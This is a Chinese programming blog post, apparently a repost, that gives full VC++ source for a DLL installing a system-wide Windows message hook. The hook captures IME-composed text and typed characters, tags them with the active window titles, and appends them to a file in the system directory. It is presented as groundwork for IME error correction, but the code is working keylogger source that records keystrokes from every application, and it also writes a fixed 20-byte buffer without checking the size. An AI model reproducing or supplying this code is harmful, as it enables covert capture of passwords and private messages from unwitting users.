VC++截取輸入法輸入信息鉤子dll實現

我們在實現輸入法的智能糾正的時候,需要獲取輸入法輸入的信息,如何實現呢,鉤子如下 
 

 

[cpp]  

#include "windows.h"  

#include "imm.h"  

#include "stdio.h"  

  

//#define HOOK_API __declspec(dllexport)   

  

HHOOK        g_hHook            = NULL;        //hook句柄  

HINSTANCE  g_hHinstance    = NULL;        //程序句柄  

HWND         LastFocusWnd  = 0;//上一次句柄,必須使全局的  

HWND         FocusWnd;         //當前窗口句柄,必須使全局的    

  

char title[256];              //獲得窗口名字   

char *ftemp;                //begin/end 寫到文件裏面  

char temptitle[256]="<<標題:";  //<<標題:窗口名字>>  

char t[2]={0,0};              //捕獲單個字母  

void writefile(char *lpstr)  

{//保存爲文件  

    FILE* f1;  

    char cmd[256];  

    GetSystemDirectory(cmd,256);  

    strcat(cmd,"\\hooktxt.txt");  

    f1=fopen(cmd,"a+");  

    fwrite(lpstr,strlen(lpstr),1,f1);  

    fclose(f1);  

}  

void writtitle()  

{//保存當前窗口  

    FocusWnd = GetActiveWindow();  

    if(LastFocusWnd != FocusWnd)  

    {  

        ftemp="\n---------End----------\n";  

        writefile(ftemp);  

        ftemp="\n--------begin---------\n";  

        writefile(ftemp);  

        GetWindowText(FocusWnd, title, 256);  //當前窗口標題  

        LastFocusWnd = FocusWnd;  

        strcat(temptitle,title);  

        strcat(temptitle,">>\n");  

        writefile(temptitle);  

    }  

}  

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)  

{   

    PMSG pmsg = (PMSG)lParam;  

    if (nCode == HC_ACTION)  

    {  

        switch (pmsg->message)  

        {  

        case WM_IME_COMPOSITION:  

            {  

                HIMC hIMC;  

                HWND hWnd=pmsg->hwnd;  

                DWORD dwSize;  

                char lpstr[20];  

                if(pmsg->lParam & GCS_RESULTSTR)  

                {  

                    //先獲取當前正在輸入的窗口的輸入法句柄  

                    hIMC = ImmGetContext(hWnd);  

                       // 先將ImmGetCompositionString的獲取長度設爲0來獲取字符串大小.  

                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);  

  

                    // 緩衝區大小要加上字符串的NULL結束符大小,  

                    //   考慮到UNICODE  

                    dwSize += sizeof(WCHAR);  

  

                    memset(lpstr, 0, 20);  

  

                    // 再調用一次.ImmGetCompositionString獲取字符串  

                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);  

                    //現在lpstr裏面即是輸入的漢字了。  

                    writtitle();                //保存當前窗口  

                    writefile(lpstr);           //保存爲文件  

                    ImmReleaseContext(hWnd, hIMC);  

                }  

            }  

            break;  

        case WM_CHAR:  //截獲發向焦點窗口的鍵盤消息  

            {  

                char ch,str[10];  

                ch=(char)(pmsg->wParam);  

                if (ch>=32 && ch<=126)           //可見字符  

                {   

                    writtitle();  

                    t[0]=ch;  

                    writefile(t);  

                }  

                if (ch>=8 && ch<=31)           //控制字符  

                {  

                    switch(ch)  

                    {  

                        case 8:  

                            strcpy(str,"[退格]");  

                            break;  

                        case 9:  

                            strcpy(str,"[TAB]");  

                            break;  

                        case 13:  

                            strcpy(str,"[Enter]");  

                            break;  

                        default:strcpy(str,"n");  

                    }  

                    if (strcmp(str,"n"))  

                    {  

                        writtitle();  

                        writefile(str);  

                    }  

                }  

  

            }  

            break;  

        }  

    }  

    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);  

   

    return(lResult);  

}  

  

//HOOK_API BOOL InstallHook()  

BOOL InstallHook()  

{  

    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);  

    return TRUE;  

}  

  

//HOOK_API BOOL UnHook()  

BOOL UnHook()  

{         

    return UnhookWindowsHookEx(g_hHook);  

}   

  

BOOL APIENTRY DllMain( HANDLE hModule,   

                       DWORD  ul_reason_for_call,   

                       LPVOID lpReserved  

                     )  

{  

    switch (ul_reason_for_call)  

    {  www.2cto.com

    case DLL_PROCESS_ATTACH:  

        g_hHinstance=HINSTANCE(hModule);  

        break;  

    case DLL_THREAD_ATTACH:  

        break;  

    case DLL_THREAD_DETACH:  

        break;  

    case DLL_PROCESS_DETACH:  

        UnHook();  

        break;  

    }  

    return TRUE;  

}  

發佈了7 篇原創文章 · 獲贊 1 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章